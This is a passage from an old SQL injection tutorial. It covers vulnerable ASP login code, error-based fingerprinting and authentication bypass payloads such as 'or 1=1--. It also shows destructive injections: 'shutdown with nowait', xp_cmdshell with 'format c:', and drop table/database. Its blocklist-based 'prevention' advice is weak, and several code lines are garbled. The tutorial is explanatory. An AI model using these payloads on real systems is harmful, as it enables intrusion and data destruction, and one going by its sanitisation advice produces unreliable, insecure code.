Professional Documents
Culture Documents
that are vulnerable to the attack. the attack takes advantage of poor code and
website administration. in sql injection, user controlled data is placed into a
sql query without being validated for correct format or embedded escape strings.
it has been known to affect majority of applications which use a database backend
and do not filter variable types. it has been estimated that at least 50% of the
large e-commerce sites and about 75% of the medium to small sites are vulnerable
to this attack. the dominant cause is the improper validation in cfml, asp, jsp,
and php codes. attackers go about uncovering the susceptible web application by
looking at web pages for anything resembling an id number, category, or name. the
attacker may sift through all forms of variables as well as cookies. many a times
session cookies are stored in a database and these cookies are passed into sql
queries with little or no format checks. they may try placing various strings into
form fields and in query variables. however, typically, someone looking for sql
vulnerability will start off with single and double quotes and then try with
parenthesis and the rest of the punctuation characters. the response expected is
any response signifying an error.
the user filled fields are enclosed by single quotation marks ('). so a simple
test of the form would be to try using (') as the username.
when we just enter in a form that is vulnerable to sql insertion. if you get ole
database error, then you can try sql injections.
example 1
attackers start by using the single quote in the user id field of the login page.
it returned an error just as they wanted it.
code :
microsoft ole db provider for odbc drivers (ox80040e14)
[microsoft] [odbc sql server driver] [sql server] unclosed quotation mark before
the character string '''.
/corner/asp/checklogin1.asp, line 7
browser type:
mozilla/(version) (compatible; msie 6.0; windows nt 5.0)
page: #
post 36 bytes to /corner/asp/checkloginl.asp
post data:
userid=%27&userpwd=%27&submit=submit
this output is the first lead the attacker can use. he has a greater chance of
succeeding if he can find out which database he is pitted against. this is called
database footprinting. database footprinting is the process of mapping out the
tables on the database. identifying the configuration of the server is crucial in
deciding how the site will be attacked. the method chosen to do this will depend
on how poorly the server has been configured. in the error statement shown above,
it is clear that the site is using a sql server. note that sql injection is the
attack on the web application, not the web server or services running in the os.
it is typical of an html page to use the post command to send parameters to
another asp page. on a closer look at the source code we find the "form" tag,
<form name="form1" method="post" action="checklogin1.asp"> let us look at the
implications.
exploits occur due to coding errors and inadequate validation checks as well.
often, the emphasis is on acquiring an input and delivering a suitable output. web
applications that do not check the validity of its input, are exposed to the
attack.
another attack type is login script. the login page at site.com/login.htm is based
on this code.
code :
<form action="checklogin.asp" method="post">
username: <input type="text" name="user_name"><br>
password: <input type="password" name="pwdpass"><br>
<input type="submit">
< /form>
the above form points to checklogin.asp where we come across the following code.
code :
dim p_struser, p_strpass, objrs, strsql
p_struser = request.form ("user_name")
p_strpass = request. form ("pwdpass")
strsql = "select * from tblusers " & _
"where user_name='" & p_strusr & _
'"and pwdpass='" & p_strpass & ""'
set objrs = server. createobject("adodb.recordset")
objrs.open strsql, "dsn=..."
if (objrs.eof) then
response. write "invalid login."
else
response. write "you are logged in as" & objrs("user_name")
end if
at a cursory glance this code looks alright and does what it is supposed to do -
check for a valid username and password and allow the user to access the site if
it the credentials are valid.
however, note the above statement where the user input from the form is directly
used to build a sql statement. there is no input validation regarding the nature
of input. it gives direct control to an attacker who wants to access the database.
for instance if the attacker enters a select statement such as select * from
tblusers where user_name=" or "=" and pwdpass = " or "=", the query will be
executed and all the users from the queried table will be displayed as output.
moreover, the first attacker will be logged in as the first user identified by the
first record in the table. it is quite probable that the first user is the
superuser or the administrator. since the form does not check for special
characters such as "=", the attacker is able to use these to achieve his malicious
intent. for clarity sake, let us look at a secure code. note the use of the
replace function to take care of the single quote input.
code :
< % else
strsql = "select * from tblusers " _ &
"where username="' & replace (request. form ("usr_name"), ""', """) &'" " _ &
"and password="'" & replace (request. form("pwdpass"),'"", """) &'";"
set login = server. createobject ("adodb.connection")
login. open ("driver= {microsoft access driver (*.mdb)};" _ &
"dbq=" & server.mappath ("login.mdb"))
set rstlogin = login. execute (strsql)
if not rstlogin.eof then
%>
sql server, among other databases, delimits queries with a semi-colon. the use of
a semicolon allows multiple queries to be submitted as one batch and executed
sequentially. for example, the query username: 'or 1=1; drop table users; -- will
be executed in two parts. firstly, it would select the username field for all rows
in the users table. secondly, it would delete the users table.
login guessing & insertion is anoterh way of trying to hack. the attacker can try
to login without a password. typical usernames would be 1=1 or any text within
single quotes. the most common problem seen on microsoft ms - sql boxes is the
default <blank>sa password.
the attacker can try to guess the username of an account by querying for similar
user names (ex: ad%' is used to query for "admin").
the attacker can insert data by appending commands or writing queries.
from database fingerprinting, if the attacker has determined that the database
backend is sql server, he will try his luck with the default admin login
credentials - namely sa and a blank password. alternatively he can issue a query
so that his query would retrieve a valid username. for instance, to retrieve the
administrative account, he can query for users.username like 'ad%' --
now if the attacker does not want to login and just wants to 'harvest' the site,
he may try to view extra information which is not otherwise available. he can
choose to transform the url such as the ones shown below to retrieve information.
code :
http://www.example.com/shopping/productdetail.asp?sku=ms01&scategory=tools
here, the "scategory" is the variable name, and "tools" is the value assigned to
the variable. the attacker changes this valid url into:
code :
http://www.example.com/shopping/productdetail.asp?sku=ms01&scategory=kits
if the code underlying the page has a segment similar to the one shown below:
code :
sub_cat = request ("scategory") sqlstr="select * from product where category='" &
sub_cat &'"" set rs=conn.execute (sqlstr)
code :
select * from product where category='kits'
therefore the output will be a result set containing rows that match the where
condition. if the attacker appends the following to the valid url,
code :
http://www.example.com/shopping/productdetail.asp?sku=ms01&scategory=tools'or1=1�
the sql statement becomes select * from product where category='tools' or 1=1 --'
this leads the query to select everything from the product table irrespective of
whether category equals "tools' or not. the double dash " --" instructs the sql
server to ignore the rest of the query. this is done to eliminate the last hanging
single quote ('). sometimes, it is possible to replace double dash with single
hash "#".
if the database backend in question is not an sql server, it will not recognize
the double dash. the attacker can then try appending ' or 'a'='a, which should
return the same result.
depending on the actual sql query, the various possibilities available to the
attacker are:
code :
'or 1=1--
"or 1=1--
or1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
to use the database for his malevolent intent, the attacker needs to figure out
more than just what database is running at the backend. he will have to determine
the database structure and tables. revisiting our product table, we see that the
attacker can insert commands such as: insert into category value (library)
suppose the attacker wants to add a description of the files he wants to upload,
he will need to determine the structure of the table. he might be able to do just
that, if error messages are returned from the application according to the default
behaviour of asp and decipher any value that can be read by the account the asp
application is using to connect to the sql server.
the insertion methods will vary according to the database at the backend. for
instance, ms sql is considered to be the easiest system for sql insertion. oracle
has no native command execution capability. in sybase, the command exec is
disabled by default. however, it is similar to ms sql - though without as many
stored procedures. mysql is very limited in scope. subselects are a possibility
with newer versions. it is typically restricted to one sql command per query. one
of sql server's most powerful commands is shutdown with nowait, which causes it to
shutdown, immediately stopping the windows service.
code :
username: ' ; shutdown with nowait; -- password [anything]
code :
select username from users where username='; shutdown with nowait;-' and
user_pass=' '
the default installation of sql server has the system account (sa) which is
accorded all the privileges of the administrator. an attacker who happens to
stumble across this account while harvesting websites can take advantage of this
and gain access to all commands, delete, rename, and add databases, tables,
triggers, and more. one of the attacks he can carry out when he is done with the
site is to issue a denial of service by shutting down the sql server. a powerful
command recognized by sql server is shutdown with nowait. this causes the server
to shutdown, immediately stopping the windows service. after this command has been
issued, the service must be manually restarted by the administrator. let us take a
look at an example. at an input form such as login, which is susceptible to sql
injection, the attacker issues the following command.
code :
username: '; shutdown with nowait; -- password: [anything]
this would make our login.asp script run the following query:
code :
select username from users where username="; shutdown with nowait; --'and
userpass="
the '--' character sequence is the 'single line comment' sequence in transact
-sql, and the ';' character denotes the end of one query and the beginning of
another. if he has used the default sa account, or has acquired the required
privileges, sql server will shut down, and will require a restart in order to
function again.
stored porcedures
there are several extended stored procedures that can cause permanent damage to a
system.
we can execute an extended stored procedure using our login form with an injected
command as the username as follows:
code :
username: ' ; exec master..xp_xxx; -- password: [anything]
when the query string is parsed and sent to sql server, the server will process
the following code:
code :
select * from ptable where input text =" exec master..xp_cmdshell ' product
handycam/delete' --'
the advantage of this attack method is that the dll file only needs to be present
on a machine accessible by the sql server. here, the first single quote entered by
the user closes the string and sql server executes the next sql statements in the
batch including a command to delete a product to the product table in the
database.
server talks
this command uses the 'speech.voicetext' object, causing the sql server to speak:
code :
admin'; declare @o int, @ret
int exec sp_oacreate
'speech.voicetext', @o,
'register', null,'foo',
'bar' exec sp_oasetproperty
@o, 'speed',150 exec
sp_oamethod @o, 'speak',
null, 'all your sequel
servers are belong to us',
528 waitfor delay '00:00:05'--
example 2
code :
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', null, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', null, 'all your sequel servers belong to us', 528
waitfor delay '00:00:05'
this uses the 'speech.voicetext' object, causing the sql server to speak.
preventing attacks
now if you use the stripquotes function in conjunction with our first query for
example, then it would go from this:
code :
select count(*) from users where username='alice' and userpass=" or 1=1 --'
to this:
code :
select count(*) from users where username='alice' and userpass="' or 1=1 --'
this, in effect, stops the injection attack from taking place, because the clause
for the where query now requires both the username and userpass fields to be
valid.
code :
function killchars(strwords)
dim badchars
dim newchars
badchars = array("select", "drop",";","--", "insert",
" delete", "xp_")
newchars = strwords
for i = o to ubound(badchars)
newchars = replace(newchars, badchars(i),"")
next
killchars = newchars
end function
using stripquotes in combination with killchars greatly removes the chance of any
sql injection attack from succeeding. so if the query:
code :
select prodname from products where id=1; xp_cmdshell 'format c: /q /yes '; drop
database targetdb; --
is run through stripquotes and then killchars, it would end up looking like this:
code :
prodname from products where id=1 cmdshell "format c: /q /yes " database targetdb
this is basically useless, and will return no records from the query. by keeping
all text boxes and form fields as short as possible, the number of characters that
can be used to formulate an sql injection attack is greatly reduced. additional
countermeasures include checking data type, and using the post method where
possible to post forms.
conclusion